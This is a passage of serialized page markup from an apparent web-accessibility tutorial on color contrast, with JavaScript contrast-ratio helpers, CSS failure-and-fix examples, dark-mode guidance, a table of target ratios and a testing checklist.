hexToRgb",[1560,303664,1688],{"class":1570},[1560,303666,303667],{"class":2219},"hex",[1560,303669,9345],{"class":1570},[1560,303671,303672,303674,303676,303678,303680,303682,303684,303686,303688,303691,303693,303695,303697,303699,303701,303703,303705,303707,303709,303711,303713,303715,303717],{"class":1562,"line":337},[1560,303673,28057],{"class":1669},[1560,303675,80830],{"class":1576},[1560,303677,8186],{"class":1669},[1560,303679,11912],{"class":5634},[1560,303681,38799],{"class":1669},[1560,303683,6852],{"class":11919},[1560,303685,33994],{"class":1669},[1560,303687,1688],{"class":11919},[1560,303689,303690],{"class":1576},"[a-f\\d]",[1560,303692,98989],{"class":1669},[1560,303694,103256],{"class":11919},[1560,303696,303690],{"class":1576},[1560,303698,98989],{"class":1669},[1560,303700,103256],{"class":11919},[1560,303702,303690],{"class":1576},[1560,303704,98989],{"class":1669},[1560,303706,1525],{"class":11919},[1560,303708,11938],{"class":1669},[1560,303710,9423],{"class":5634},[1560,303712,7975],{"class":1669},[1560,303714,468],{"class":1570},[1560,303716,270863],{"class":1566},[1560,303718,303719],{"class":1570},"(hex)\n",[1560,303721,303722,303724,303726,303728],{"class":1562,"line":343},[1560,303723,9350],{"class":1669},[1560,303725,38052],{"class":1570},[1560,303727,33994],{"class":1669},[1560,303729,1571],{"class":1570},[1560,303731,303732,303735,303737,303740,303742,303744,303746],{"class":1562,"line":365},[1560,303733,303734],{"class":1570},"    r: ",[1560,303736,10118],{"class":1566},[1560,303738,303739],{"class":1570},"(result[",[1560,303741,3585],{"class":1576},[1560,303743,261107],{"class":1570},[1560,303745,10057],{"class":1576},[1560,303747,19216],{"class":1570},[1560,303749,303750,303753,303755,303757,303759,303761,303763],{"class":1562,"line":889},[1560,303751,303752],{"class":1570},"    g: ",[1560,303754,10118],{"class":1566},[1560,303756,303739],{"class":1570},[1560,303758,10099],{"class":1576},[1560,303760,261107],{"class":1570},[1560,303762,10057],{"class":1576},[1560,303764,19216],{"class":1570},[1560,303766,303767,303770,303772,303774,303776,303778,303780],{"class":1562,"line":1710},[1560,303768,303769],{"class":1570},"    b: ",[1560,303771,10118],{"class":1566},[1560,303773,303739],{"class":1570},[1560,303775,17821],{"class":1576},[1560,303777,261107],{"class":1570},[1560,303779,10057],{"class":1576},[1560,303781,8252],{"class":1570},[1560,303783,303784,303786,303788],{"class":1562,"line":1717},[1560,303785,102284],{"class":1570},[1560,303787,8037],{"class":1669},[1560,303789,303790],{"class":1576}," null\n",[1560,303792,303793],{"class":1562,"line":1747},[1560,303794,1585],{"class":1570},[1560,303796,303797],{"class":1562,"line":2507},[1560,303798,1702],{"emptyLinePlaceholder":363},[1560,303800,303801,303803,303805,303807,303809,303811,303813,303815,303817],{"class":1562,"line":2524},[1560,303802,8648],{"class":1669},[1560,303804,39809],{"class":1566},[1560,303806,1688],{"class":1570},[1560,303808,23114],{"class":2219},[1560,303810,1459],{"class":1570},[1560,303812,22733],{"class":2219},[1560,303814,1459],{"class":1570},[1560,303816,28973],{"class":2219},[1560,303818,9345],{"class":1570},[1560,303820,303821,303823,303825,303828,303830,303832,303834,303837,303839,303841,303843,303845,303847,303849,303851],{"class":1562,"line":2529},[1560,303822,28057],{"class":1669},[1560,303824,39830],{"class":1570},[1560,303826,303827],{"class":1576},"rs",[1560,303829,1459],{"class":1570},[1560,303831,182094],{"class":1576},[1560,303833,1459],{"class":1570},[1560,303835,303836],{"class":1576},"bs",[1560,303838,13484],{"class":1570},[1560,303840,7297],{"class":1669},[1560,303842,39849],{"class":1570},[1560,303844,9371],{"class":1566},[1560,303846,1688],{"class":1570},[1560,303848,13943],{"class":2219},[1560,303850,9378],{"class":1669},[1560,303852,1571],{"class":1570},[1560,303854,303855,303857,303859,303861,303863],{"class":1562,"line":2534},[1560,303856,39864],{"class":1570},[1560,303858,7297],{"class":1669},[1560,303860,39869],{"class":1570},[1560,303862,9423],{"class":1669},[1560,303864,39874],{"class":1576},[1560,303866,303867,303869,303871,303873,303875,303877,303879,303881,303883,303885,303887,303889,303891,303893,303895,303897,303899,303901,303903,303905],{"class":1562,"line":2542},[1560,303868,9434],{"class":1669},[1560,303870,39869],{"class":1570},[1560,303872,22757],{"class":1669},[1560,303874,39885],{"class":1576},[1560,303876,22763],{"class":1669},[1560,303878,39869],{"class":1570},[1560,303880,9423],{"class":1669},[1560,303882,39894],{"class":1576},[1560,303884,22769],{"class":1669},[1560,303886,9393],{"class":1570},[1560,303888,39901],{"class":1566},[1560,303890,39904],{"class":1570},[1560,303892,9448],{"class":1669},[1560,303894,39909],{"class":1576},[1560,303896,1733],{"class":1570},[1560,303898,9423],{"class":1669},[1560,303900,39916],{"class":1576},[1560,303902,1459],{"class":1570},[1560,303904,39921],{"class":1576},[1560,303906,8252],{"class":1570},[1560,303908,303909],{"class":1562,"line":2558},[1560,303910,22821],{"class":1570},[1560,303912,303913,303915,303917,303919,303922,303924,303926,303928,303931,303933,303935,303937],{"class":1562,"line":2570},[1560,303914,9350],{"class":1669},[1560,303916,39934],{"class":1576},[1560,303918,8064],{"class":1669},[1560,303920,303921],{"class":1570}," rs ",[1560,303923,9448],{"class":1669},[1560,303925,39944],{"class":1576},[1560,303927,8064],{"class":1669},[1560,303929,303930],{"class":1570}," gs ",[1560,303932,9448],{"class":1669},[1560,303934,39954],{"class":1576},[1560,303936,8064],{"class":1669},[1560,303938,303939],{"class":1570}," bs\n",[1560,303941,303942],{"class":1562,"line":6638},[1560,303943,1585],{"class":1570},[1560,303945,303946],{"class":1562,"line":11615},[1560,303947,1702],{"emptyLinePlaceholder":363},[1560,303949,303950,303952,303954,303956,303959,303961,303964],{"class":1562,"line":11621},[1560,303951,8648],{"class":1669},[1560,303953,39974],{"class":1566},[1560,303955,1688],{"class":1570},[1560,303957,303958],{"class":2219},"color1",[1560,303960,1459],{"class":1570},[1560,303962,303963],{"class":2219},"color2",[1560,303965,9345],{"class":1570},[1560,303967,303968,303970,303973,303975,303977],{"class":1562,"line":11633},[1560,303969,28057],{"class":1669},[1560,303971,303972],{"class":1576}," rgb1",[1560,303974,8186],{"class":1669},[1560,303976,303662],{"class":1566},[1560,303978,303979],{"class":1570},"(color1)\n",[1560,303981,303982,303984,303987,303989,303991],{"class":1562,"line":11638},[1560,303983,28057],{"class":1669},[1560,303985,303986],{"class":1576}," rgb2",[1560,303988,8186],{"class":1669},[1560,303990,303662],{"class":1566},[1560,303992,303993],{"class":1570},"(color2)\n",[1560,303995,303996],{"class":1562,"line":11672},[1560,303997,271864],{"class":1570},[1560,303999,304000,304002,304005,304007,304009],{"class":1562,"line":19435},[1560,304001,28057],{"class":1669},[1560,304003,304004],{"class":1576}," l1",[1560,304006,8186],{"class":1669},[1560,304008,39809],{"class":1566},[1560,304010,304011],{"class":1570},"(rgb1.r, rgb1.g, rgb1.b)\n",[1560,304013,304014,304016,304019,304021,304023],{"class":1562,"line":19442},[1560,304015,28057],{"class":1669},[1560,304017,304018],{"class":1576}," l2",[1560,304020,8186],{"class":1669},[1560,304022,39809],{"class":1566},[1560,304024,304025],{"class":1570},"(rgb2.r, rgb2.g, rgb2.b)\n",[1560,304027,304028],{"class":1562,"line":19475},[1560,304029,271864],{"class":1570},[1560,304031,304032,304034,304036,304038,304040,304042],{"class":1562,"line":19508},[1560,304033,28057],{"class":1669},[1560,304035,39993],{"class":1576},[1560,304037,8186],{"class":1669},[1560,304039,9393],{"class":1570},[1560,304041,9396],{"class":1566},[1560,304043,304044],{"class":1570},"(l1, l2)\n",[1560,304046,304047,304049,304051,304053,304055,304057],{"class":1562,"line":44196},[1560,304048,28057],{"class":1669},[1560,304050,40009],{"class":1576},[1560,304052,8186],{"class":1669},[1560,304054,9393],{"class":1570},[1560,304056,28995],{"class":1566},[1560,304058,304044],{"class":1570},[1560,304060,304061],{"class":1562,"line":44203},[1560,304062,271864],{"class":1570},[1560,304064,304065,304067,304069,304071,304073,304075,304077,304079,304081,304083],{"class":1562,"line":44220},[1560,304066,9350],{"class":1669},[1560,304068,40024],{"class":1570},[1560,304070,9448],{"class":1669},[1560,304072,40029],{"class":1576},[1560,304074,1733],{"class":1570},[1560,304076,9423],{"class":1669},[1560,304078,40036],{"class":1570},[1560,304080,9448],{"class":1669},[1560,304082,40029],{"class":1576},[1560,304084,8252],{"class":1570},[1560,304086,304087],{"class":1562,"line":71501},[1560,304088,1585],{"class":1570},[11,304090,304092],{"id":304091},"common-contrast-failures-and-fixes","Common Contrast Failures and Fixes",[33,304094,304096],{"id":304095},"failure-1-gray-text-on-white-background","Failure 1: Gray Text on White Background",[16,304098,304099],{},[47,304100,304101],{},"The Problem:",[135,304103,304105],{"className":1554,"code":304104,"language":1556,"meta":141,"style":141},"\u002F* ❌ FAILS: 3.13:1 contrast ratio - fails AA for normal text *\u002F\n.subtle-text {\n  color: #888888;\n  background-color: #ffffff;\n}\n",[143,304106,304107,304112,304119,304129,304139],{"__ignoreMap":141},[1560,304108,304109],{"class":1562,"line":1563},[1560,304110,304111],{"class":1649},"\u002F* ❌ FAILS: 3.13:1 contrast ratio - fails AA for normal text *\u002F\n",[1560,304113,304114,304117],{"class":1562,"line":337},[1560,304115,304116],{"class":1566},".subtle-text",[1560,304118,1571],{"class":1570},[1560,304120,304121,304123,304125,304127],{"class":1562,"line":343},[1560,304122,2510],{"class":1576},[1560,304124,1663],{"class":1570},[1560,304126,113737],{"class":1576},[1560,304128,2228],{"class":1570},[1560,304130,304131,304133,304135,304137],{"class":1562,"line":365},[1560,304132,2492],{"class":1576},[1560,304134,1663],{"class":1570},[1560,304136,51598],{"class":1576},[1560,304138,2228],{"class":1570},[1560,304140,304141],{"class":1562,"line":889},[1560,304142,1585],{"class":1570},[16,304144,304145],{},[47,304146,304147],{},"The Fix:",[135,304149,304151],{"className":1554,"code":304150,"language":1556,"meta":141,"style":141},"\u002F* ✅ PASSES: 5.74:1 contrast ratio - passes AA *\u002F\n.subtle-text {\n  color: #595959;\n  background-color: #ffffff;\n}\n",[143,304152,304153,304158,304164,304175,304185],{"__ignoreMap":141},[1560,304154,304155],{"class":1562,"line":1563},[1560,304156,304157],{"class":1649},"\u002F* ✅ PASSES: 5.74:1 contrast ratio - passes AA *\u002F\n",[1560,304159,304160,304162],{"class":1562,"line":337},[1560,304161,304116],{"class":1566},[1560,304163,1571],{"class":1570},[1560,304165,304166,304168,304170,304173],{"class":1562,"line":343},[1560,304167,2510],{"class":1576},[1560,304169,1663],{"class":1570},[1560,304171,304172],{"class":1576},"#595959",[1560,304174,2228],{"class":1570},[1560,304176,304177,304179,304181,304183],{"class":1562,"line":365},[1560,304178,2492],{"class":1576},[1560,304180,1663],{"class":1570},[1560,304182,51598],{"class":1576},[1560,304184,2228],{"class":1570},[1560,304186,304187],{"class":1562,"line":889},[1560,304188,1585],{"class":1570},[33,304190,304192],{"id":304191},"failure-2-placeholder-text-too-light","Failure 2: Placeholder Text Too Light",[16,304194,304195],{},[47,304196,304101],{},[135,304198,304200],{"className":1554,"code":304199,"language":1556,"meta":141,"style":141},"\u002F* ❌ FAILS: 2.1:1 - barely visible *\u002F\ninput::placeholder {\n  color: #c0c0c0;\n}\n",[143,304201,304202,304207,304216,304227],{"__ignoreMap":141},[1560,304203,304204],{"class":1562,"line":1563},[1560,304205,304206],{"class":1649},"\u002F* ❌ FAILS: 2.1:1 - barely visible *\u002F\n",[1560,304208,304209,304211,304214],{"class":1562,"line":337},[1560,304210,4470],{"class":2484},[1560,304212,304213],{"class":1566},"::placeholder",[1560,304215,1571],{"class":1570},[1560,304217,304218,304220,304222,304225],{"class":1562,"line":343},[1560,304219,2510],{"class":1576},[1560,304221,1663],{"class":1570},[1560,304223,304224],{"class":1576},"#c0c0c0",[1560,304226,2228],{"class":1570},[1560,304228,304229],{"class":1562,"line":365},[1560,304230,1585],{"class":1570},[16,304232,304233],{},[47,304234,304147],{},[135,304236,304238],{"className":1554,"code":304237,"language":1556,"meta":141,"style":141},"\u002F* ✅ PASSES: 4.6:1 - meets AA *\u002F\ninput::placeholder {\n  color: #757575;\n}\n\n\u002F* Or use opacity for native feel *\u002F\ninput::placeholder {\n  color: #000000;\n  opacity: 0.6; \u002F* Equivalent to ~#666 on white *\u002F\n}\n",[143,304239,304240,304245,304253,304264,304268,304272,304277,304285,304295,304308],{"__ignoreMap":141},[1560,304241,304242],{"class":1562,"line":1563},[1560,304243,304244],{"class":1649},"\u002F* ✅ PASSES: 4.6:1 - meets AA *\u002F\n",[1560,304246,304247,304249,304251],{"class":1562,"line":337},[1560,304248,4470],{"class":2484},[1560,304250,304213],{"class":1566},[1560,304252,1571],{"class":1570},[1560,304254,304255,304257,304259,304262],{"class":1562,"line":343},[1560,304256,2510],{"class":1576},[1560,304258,1663],{"class":1570},[1560,304260,304261],{"class":1576},"#757575",[1560,304263,2228],{"class":1570},[1560,304265,304266],{"class":1562,"line":365},[1560,304267,1585],{"class":1570},[1560,304269,304270],{"class":1562,"line":889},[1560,304271,1702],{"emptyLinePlaceholder":363},[1560,304273,304274],{"class":1562,"line":1710},[1560,304275,304276],{"class":1649},"\u002F* Or use opacity for native feel *\u002F\n",[1560,304278,304279,304281,304283],{"class":1562,"line":1717},[1560,304280,4470],{"class":2484},[1560,304282,304213],{"class":1566},[1560,304284,1571],{"class":1570},[1560,304286,304287,304289,304291,304293],{"class":1562,"line":1747},[1560,304288,2510],{"class":1576},[1560,304290,1663],{"class":1570},[1560,304292,4321],{"class":1576},[1560,304294,2228],{"class":1570},[1560,304296,304297,304299,304301,304303,304305],{"class":1562,"line":2507},[1560,304298,19700],{"class":1576},[1560,304300,1663],{"class":1570},[1560,304302,44082],{"class":1576},[1560,304304,3664],{"class":1570},[1560,304306,304307],{"class":1649},"\u002F* Equivalent to ~#666 on white *\u002F\n",[1560,304309,304310],{"class":1562,"line":2524},[1560,304311,1585],{"class":1570},[33,304313,304315],{"id":304314},"failure-3-brand-colors-on-white","Failure 3: Brand Colors on White",[16,304317,304318,304320],{},[47,304319,304101],{},"\nMany brand colors fail contrast when placed directly on white:",[135,304322,304324],{"className":1554,"code":304323,"language":1556,"meta":141,"style":141},"\u002F* ❌ FAILS: 2.4:1 - your beautiful brand blue *\u002F\n.brand-button {\n  background-color: #3b82f6;\n  color: #ffffff; \u002F* White text on blue *\u002F\n}\n",[143,304325,304326,304331,304338,304348,304360],{"__ignoreMap":141},[1560,304327,304328],{"class":1562,"line":1563},[1560,304329,304330],{"class":1649},"\u002F* ❌ FAILS: 2.4:1 - your beautiful brand blue *\u002F\n",[1560,304332,304333,304336],{"class":1562,"line":337},[1560,304334,304335],{"class":1566},".brand-button",[1560,304337,1571],{"class":1570},[1560,304339,304340,304342,304344,304346],{"class":1562,"line":343},[1560,304341,2492],{"class":1576},[1560,304343,1663],{"class":1570},[1560,304345,4147],{"class":1576},[1560,304347,2228],{"class":1570},[1560,304349,304350,304352,304354,304356,304358],{"class":1562,"line":365},[1560,304351,2510],{"class":1576},[1560,304353,1663],{"class":1570},[1560,304355,51598],{"class":1576},[1560,304357,3664],{"class":1570},[1560,304359,51603],{"class":1649},[1560,304361,304362],{"class":1562,"line":889},[1560,304363,1585],{"class":1570},[16,304365,304366],{},"Wait—that actually passes! But what about the reverse?",[135,304368,304370],{"className":1554,"code":304369,"language":1556,"meta":141,"style":141},"\u002F* ❌ FAILS: 2.4:1 - brand blue text on white *\u002F\n.brand-link {\n  color: #3b82f6;\n  background-color: #ffffff;\n}\n",[143,304371,304372,304377,304384,304394,304404],{"__ignoreMap":141},[1560,304373,304374],{"class":1562,"line":1563},[1560,304375,304376],{"class":1649},"\u002F* ❌ FAILS: 2.4:1 - brand blue text on white *\u002F\n",[1560,304378,304379,304382],{"class":1562,"line":337},[1560,304380,304381],{"class":1566},".brand-link",[1560,304383,1571],{"class":1570},[1560,304385,304386,304388,304390,304392],{"class":1562,"line":343},[1560,304387,2510],{"class":1576},[1560,304389,1663],{"class":1570},[1560,304391,4147],{"class":1576},[1560,304393,2228],{"class":1570},[1560,304395,304396,304398,304400,304402],{"class":1562,"line":365},[1560,304397,2492],{"class":1576},[1560,304399,1663],{"class":1570},[1560,304401,51598],{"class":1576},[1560,304403,2228],{"class":1570},[1560,304405,304406],{"class":1562,"line":889},[1560,304407,1585],{"class":1570},[16,304409,304410],{},[47,304411,304147],{},[135,304413,304415],{"className":1554,"code":304414,"language":1556,"meta":141,"style":141},"\u002F* ✅ PASSES: 5.74:1 - use darker shade of brand *\u002F\n.brand-link {\n  color: #1d4ed8; \u002F* brand-700 instead of brand-500 *\u002F\n  background-color: #ffffff;\n}\n\n\u002F* Alternative: Add a background *\u002F\n.brand-link-alt {\n  color: #3b82f6;\n  background-color: #eff6ff; \u002F* brand-50 *\u002F\n  padding: 2px 6px;\n  border-radius: 4px;\n}\n",[143,304416,304417,304422,304428,304441,304451,304455,304459,304464,304471,304481,304494,304510,304522],{"__ignoreMap":141},[1560,304418,304419],{"class":1562,"line":1563},[1560,304420,304421],{"class":1649},"\u002F* ✅ PASSES: 5.74:1 - use darker shade of brand *\u002F\n",[1560,304423,304424,304426],{"class":1562,"line":337},[1560,304425,304381],{"class":1566},[1560,304427,1571],{"class":1570},[1560,304429,304430,304432,304434,304436,304438],{"class":1562,"line":343},[1560,304431,2510],{"class":1576},[1560,304433,1663],{"class":1570},[1560,304435,4292],{"class":1576},[1560,304437,3664],{"class":1570},[1560,304439,304440],{"class":1649},"\u002F* brand-700 instead of brand-500 *\u002F\n",[1560,304442,304443,304445,304447,304449],{"class":1562,"line":365},[1560,304444,2492],{"class":1576},[1560,304446,1663],{"class":1570},[1560,304448,51598],{"class":1576},[1560,304450,2228],{"class":1570},[1560,304452,304453],{"class":1562,"line":889},[1560,304454,1585],{"class":1570},[1560,304456,304457],{"class":1562,"line":1710},[1560,304458,1702],{"emptyLinePlaceholder":363},[1560,304460,304461],{"class":1562,"line":1717},[1560,304462,304463],{"class":1649},"\u002F* Alternative: Add a background *\u002F\n",[1560,304465,304466,304469],{"class":1562,"line":1747},[1560,304467,304468],{"class":1566},".brand-link-alt",[1560,304470,1571],{"class":1570},[1560,304472,304473,304475,304477,304479],{"class":1562,"line":2507},[1560,304474,2510],{"class":1576},[1560,304476,1663],{"class":1570},[1560,304478,4147],{"class":1576},[1560,304480,2228],{"class":1570},[1560,304482,304483,304485,304487,304489,304491],{"class":1562,"line":2524},[1560,304484,2492],{"class":1576},[1560,304486,1663],{"class":1570},[1560,304488,109212],{"class":1576},[1560,304490,3664],{"class":1570},[1560,304492,304493],{"class":1649},"\u002F* brand-50 *\u002F\n",[1560,304495,304496,304498,304500,304502,304504,304506,304508],{"class":1562,"line":2529},[1560,304497,18186],{"class":1576},[1560,304499,1663],{"class":1570},[1560,304501,10099],{"class":1576},[1560,304503,1670],{"class":1669},[1560,304505,43195],{"class":1576},[1560,304507,1670],{"class":1669},[1560,304509,2228],{"class":1570},[1560,304511,304512,304514,304516,304518,304520],{"class":1562,"line":2534},[1560,304513,17294],{"class":1576},[1560,304515,1663],{"class":1570},[1560,304517,12546],{"class":1576},[1560,304519,1670],{"class":1669},[1560,304521,2228],{"class":1570},[1560,304523,304524],{"class":1562,"line":2542},[1560,304525,1585],{"class":1570},[33,304527,304529],{"id":304528},"failure-4-disabled-state-invisible","Failure 4: Disabled State Invisible",[16,304531,304532],{},[47,304533,304101],{},[135,304535,304537],{"className":1554,"code":304536,"language":1556,"meta":141,"style":141},"\u002F* ❌ FAILS: 1.9:1 - too light to read *\u002F\n.button-disabled {\n  color: #d1d5db;\n  background-color: #ffffff;\n}\n",[143,304538,304539,304544,304551,304561,304571],{"__ignoreMap":141},[1560,304540,304541],{"class":1562,"line":1563},[1560,304542,304543],{"class":1649},"\u002F* ❌ FAILS: 1.9:1 - too light to read *\u002F\n",[1560,304545,304546,304549],{"class":1562,"line":337},[1560,304547,304548],{"class":1566},".button-disabled",[1560,304550,1571],{"class":1570},[1560,304552,304553,304555,304557,304559],{"class":1562,"line":343},[1560,304554,2510],{"class":1576},[1560,304556,1663],{"class":1570},[1560,304558,4097],{"class":1576},[1560,304560,2228],{"class":1570},[1560,304562,304563,304565,304567,304569],{"class":1562,"line":365},[1560,304564,2492],{"class":1576},[1560,304566,1663],{"class":1570},[1560,304568,51598],{"class":1576},[1560,304570,2228],{"class":1570},[1560,304572,304573],{"class":1562,"line":889},[1560,304574,1585],{"class":1570},[16,304576,304577],{},[47,304578,304147],{},[135,304580,304582],{"className":1554,"code":304581,"language":1556,"meta":141,"style":141},"\u002F* ✅ PASSES: 3.1:1 - still meets large text standard *\u002F\n.button-disabled {\n  color: #9ca3af; \u002F* gray-400 *\u002F\n  background-color: #f9fafb; \u002F* gray-50 *\u002F\n  cursor: not-allowed;\n}\n\n\u002F* Even better: add a pattern or icon *\u002F\n.button-disabled::after {\n  content: \" (disabled)\";\n  font-size: 0.85em;\n}\n",[143,304583,304584,304589,304595,304608,304621,304632,304636,304640,304645,304652,304663,304675],{"__ignoreMap":141},[1560,304585,304586],{"class":1562,"line":1563},[1560,304587,304588],{"class":1649},"\u002F* ✅ PASSES: 3.1:1 - still meets large text standard *\u002F\n",[1560,304590,304591,304593],{"class":1562,"line":337},[1560,304592,304548],{"class":1566},[1560,304594,1571],{"class":1570},[1560,304596,304597,304599,304601,304603,304605],{"class":1562,"line":343},[1560,304598,2510],{"class":1576},[1560,304600,1663],{"class":1570},[1560,304602,4404],{"class":1576},[1560,304604,3664],{"class":1570},[1560,304606,304607],{"class":1649},"\u002F* gray-400 *\u002F\n",[1560,304609,304610,304612,304614,304616,304618],{"class":1562,"line":365},[1560,304611,2492],{"class":1576},[1560,304613,1663],{"class":1570},[1560,304615,4376],{"class":1576},[1560,304617,3664],{"class":1570},[1560,304619,304620],{"class":1649},"\u002F* gray-50 *\u002F\n",[1560,304622,304623,304625,304627,304630],{"class":1562,"line":889},[1560,304624,70829],{"class":1576},[1560,304626,1663],{"class":1570},[1560,304628,304629],{"class":1576},"not-allowed",[1560,304631,2228],{"class":1570},[1560,304633,304634],{"class":1562,"line":1710},[1560,304635,1585],{"class":1570},[1560,304637,304638],{"class":1562,"line":1717},[1560,304639,1702],{"emptyLinePlaceholder":363},[1560,304641,304642],{"class":1562,"line":1747},[1560,304643,304644],{"class":1649},"\u002F* Even better: add a pattern or icon *\u002F\n",[1560,304646,304647,304650],{"class":1562,"line":2507},[1560,304648,304649],{"class":1566},".button-disabled::after",[1560,304651,1571],{"class":1570},[1560,304653,304654,304656,304658,304661],{"class":1562,"line":2524},[1560,304655,5629],{"class":1576},[1560,304657,1663],{"class":1570},[1560,304659,304660],{"class":5634},"\" (disabled)\"",[1560,304662,2228],{"class":1570},[1560,304664,304665,304667,304669,304671,304673],{"class":1562,"line":2529},[1560,304666,33414],{"class":1576},[1560,304668,1663],{"class":1570},[1560,304670,56399],{"class":1576},[1560,304672,7310],{"class":1669},[1560,304674,2228],{"class":1570},[1560,304676,304677],{"class":1562,"line":2534},[1560,304678,1585],{"class":1570},[11,304680,304682],{"id":304681},"dark-mode-a-special-challenge","Dark Mode: A Special Challenge",[16,304684,304685],{},"Dark mode introduces unique contrast challenges. What works on white often fails on near-black backgrounds.",[33,304687,304689],{"id":304688},"the-problem-with-direct-inversion","The Problem with Direct Inversion",[135,304691,304693],{"className":1554,"code":304692,"language":1556,"meta":141,"style":141},"\u002F* Light mode - PASSES: 12.6:1 *\u002F\n.text-light { color: #1f2937; background: #ffffff; }\n\n\u002F* Direct inversion - FAILS: 2.8:1 *\u002F\n.text-dark { color: #d1d5db; background: #000000; }\n",[143,304694,304695,304700,304723,304727,304732],{"__ignoreMap":141},[1560,304696,304697],{"class":1562,"line":1563},[1560,304698,304699],{"class":1649},"\u002F* Light mode - PASSES: 12.6:1 *\u002F\n",[1560,304701,304702,304705,304707,304709,304711,304713,304715,304717,304719,304721],{"class":1562,"line":337},[1560,304703,304704],{"class":1566},".text-light",[1560,304706,1658],{"class":1570},[1560,304708,12607],{"class":1576},[1560,304710,1663],{"class":1570},[1560,304712,4327],{"class":1576},[1560,304714,3664],{"class":1570},[1560,304716,11362],{"class":1576},[1560,304718,1663],{"class":1570},[1560,304720,51598],{"class":1576},[1560,304722,1673],{"class":1570},[1560,304724,304725],{"class":1562,"line":343},[1560,304726,1702],{"emptyLinePlaceholder":363},[1560,304728,304729],{"class":1562,"line":365},[1560,304730,304731],{"class":1649},"\u002F* Direct inversion - FAILS: 2.8:1 *\u002F\n",[1560,304733,304734,304737,304739,304741,304743,304745,304747,304749,304751,304753],{"class":1562,"line":889},[1560,304735,304736],{"class":1566},".text-dark",[1560,304738,1658],{"class":1570},[1560,304740,12607],{"class":1576},[1560,304742,1663],{"class":1570},[1560,304744,4097],{"class":1576},[1560,304746,3664],{"class":1570},[1560,304748,11362],{"class":1576},[1560,304750,1663],{"class":1570},[1560,304752,4321],{"class":1576},[1560,304754,1673],{"class":1570},[16,304756,304757],{},"The light gray that looked fine on white becomes invisible on black!",[33,304759,304761],{"id":304760},"the-solution-use-different-shades","The Solution: Use Different Shades",[135,304763,304765],{"className":1554,"code":304764,"language":1556,"meta":141,"style":141},"\u002F* Light mode *\u002F\n@media (prefers-color-scheme: light) {\n  .text {\n    color: #1f2937; \u002F* gray-800 *\u002F\n    background-color: #ffffff;\n  }\n}\n\n\u002F* Dark mode - use lighter shade *\u002F\n@media (prefers-color-scheme: dark) {\n  .text {\n    color: #f3f4f6; \u002F* gray-100 *\u002F\n    background-color: #111827; \u002F* gray-900 *\u002F\n  }\n}\n",[143,304766,304767,304771,304778,304785,304799,304809,304813,304817,304821,304826,304832,304838,304851,304864,304868],{"__ignoreMap":141},[1560,304768,304769],{"class":1562,"line":1563},[1560,304770,31984],{"class":1649},[1560,304772,304773,304775],{"class":1562,"line":337},[1560,304774,17186],{"class":1669},[1560,304776,304777],{"class":1570}," (prefers-color-scheme: light) {\n",[1560,304779,304780,304783],{"class":1562,"line":343},[1560,304781,304782],{"class":1566},"  .text",[1560,304784,1571],{"class":1570},[1560,304786,304787,304790,304792,304794,304796],{"class":1562,"line":365},[1560,304788,304789],{"class":1576},"    color",[1560,304791,1663],{"class":1570},[1560,304793,4327],{"class":1576},[1560,304795,3664],{"class":1570},[1560,304797,304798],{"class":1649},"\u002F* gray-800 *\u002F\n",[1560,304800,304801,304803,304805,304807],{"class":1562,"line":889},[1560,304802,273492],{"class":1576},[1560,304804,1663],{"class":1570},[1560,304806,51598],{"class":1576},[1560,304808,2228],{"class":1570},[1560,304810,304811],{"class":1562,"line":1710},[1560,304812,4959],{"class":1570},[1560,304814,304815],{"class":1562,"line":1717},[1560,304816,1585],{"class":1570},[1560,304818,304819],{"class":1562,"line":1747},[1560,304820,1702],{"emptyLinePlaceholder":363},[1560,304822,304823],{"class":1562,"line":2507},[1560,304824,304825],{"class":1649},"\u002F* Dark mode - use lighter shade *\u002F\n",[1560,304827,304828,304830],{"class":1562,"line":2524},[1560,304829,17186],{"class":1669},[1560,304831,20188],{"class":1570},[1560,304833,304834,304836],{"class":1562,"line":2529},[1560,304835,304782],{"class":1566},[1560,304837,1571],{"class":1570},[1560,304839,304840,304842,304844,304846,304848],{"class":1562,"line":2534},[1560,304841,304789],{"class":1576},[1560,304843,1663],{"class":1570},[1560,304845,4113],{"class":1576},[1560,304847,3664],{"class":1570},[1560,304849,304850],{"class":1649},"\u002F* gray-100 *\u002F\n",[1560,304852,304853,304855,304857,304859,304861],{"class":1562,"line":2542},[1560,304854,273492],{"class":1576},[1560,304856,1663],{"class":1570},[1560,304858,4049],{"class":1576},[1560,304860,3664],{"class":1570},[1560,304862,304863],{"class":1649},"\u002F* gray-900 *\u002F\n",[1560,304865,304866],{"class":1562,"line":2558},[1560,304867,4959],{"class":1570},[1560,304869,304870],{"class":1562,"line":2570},[1560,304871,1585],{"class":1570},[33,304873,304875],{"id":304874},"dark-mode-contrast-ratios-to-target","Dark Mode Contrast Ratios to Target",[193,304877,304878,304893],{},[196,304879,304880],{},[199,304881,304882,304884,304887,304890],{},[202,304883,1775],{},[202,304885,304886],{},"Light Mode",[202,304888,304889],{},"Dark Mode",[202,304891,304892],{},"Target Ratio",[211,304894,304895,304908,304921,304935],{},[199,304896,304897,304899,304902,304905],{},[216,304898,3054],{},[216,304900,304901],{},"gray-800 on white",[216,304903,304904],{},"gray-100 on gray-900",[216,304906,304907],{},"7:1+",[199,304909,304910,304912,304915,304918],{},[216,304911,4068],{},[216,304913,304914],{},"gray-600 on white",[216,304916,304917],{},"gray-300 on gray-900",[216,304919,304920],{},"4.5:1+",[199,304922,304923,304926,304929,304932],{},[216,304924,304925],{},"Subtle text",[216,304927,304928],{},"gray-500 on white",[216,304930,304931],{},"gray-400 on gray-900",[216,304933,304934],{},"3:1+",[199,304936,304937,304940,304943,304946],{},[216,304938,304939],{},"White text on dark",[216,304941,304942],{},"white on gray-800",[216,304944,304945],{},"white on gray-900",[216,304947,304920],{},[11,304949,304951],{"id":304950},"testing-your-color-combinations","Testing Your Color Combinations",[33,304953,4460],{"id":4459},[41,304955,304957,304963,304969,304975,304981,304987,304993,304999],{"className":304956},[4464],[44,304958,304960,304962],{"className":304959},[4468],[4470,304961],{"disabled":363,"type":4472}," Test all text\u002Fbackground combinations",[44,304964,304966,304968],{"className":304965},[4468],[4470,304967],{"disabled":363,"type":4472}," Test hover, focus, and active states",[44,304970,304972,304974],{"className":304971},[4468],[4470,304973],{"disabled":363,"type":4472}," Test disabled states",[44,304976,304978,304980],{"className":304977},[4468],[4470,304979],{"disabled":363,"type":4472}," Test in both light and dark mode",[44,304982,304984,304986],{"className":304983},[4468],[4470,304985],{"disabled":363,"type":4472}," Test with Windows High Contrast Mode",[44,304988,304990,304992],{"className":304989},[4468],[4470,304991],{"disabled":363,"type":4472}," Test placeholders and input 